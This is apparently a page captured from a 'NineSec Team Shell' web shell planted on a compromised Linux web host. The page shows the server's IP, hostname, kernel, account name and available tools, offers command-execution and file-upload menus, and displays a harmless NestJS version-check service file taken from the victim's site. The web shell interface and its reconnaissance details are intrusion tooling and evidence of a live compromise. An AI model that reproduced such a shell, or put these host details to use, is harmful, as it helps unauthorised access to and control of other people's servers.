NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/src/api/user_modules/user_version/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/src/api/user_modules/user_version/user_version.service.ts
/**
 * Copyright 2023, the hatemragab project author.
 * All rights reserved. Use of this source code is governed by a
 * MIT license that can be found in the LICENSE file.
 */

import { BadRequestException, Injectable } from "@nestjs/common";
import CheckVersionDto from "../../profile/dto/check-version.dto";
import { UserDeviceService } from "../user_device/user_device.service";
import { VersionsService } from "../../versions/versions.service";
import semver from "semver/preload";

@Injectable()
export class UserVersionService {

  constructor(
    private versionsService: VersionsService,
    private userDevice: UserDeviceService
  ) {
  }

  async checkVersion(dto: CheckVersionDto) {
    let clientSemVer = dto.semVer.split("+")[0];
    let latestVersion = await this.versionsService.findOne({
      platform: dto.myUser.currentDevice.platform
    }, null, { sort: "-_id" });
    if (!latestVersion) {
      throw new BadRequestException("latestVersion not found");
    }
    let serverSemVer = latestVersion.semVer;
    let isBigger = semver.gt(clientSemVer, serverSemVer);
    //let isSmall = semver.lt(clientSemVer, serverSemVer)
    let isEqu = serverSemVer === clientSemVer;
    let res = {
      isNeedUpdates: false,
      isCritical: latestVersion.critical,
      clientVersion: dto.semVer,
      notes: latestVersion.notes,
      serverVersion: latestVersion.semVer,
      platform: latestVersion.platform
    };
    if (isBigger || isEqu) {
      return res;
    }
    // set version to this user
    await this.userDevice.findByIdAndUpdate(dto.myUser.currentDevice._id, {
      clintVersion: clientSemVer
    });
    return {
      ...res,
      isNeedUpdates: true
    };
  }
}

NineSec Team - 2022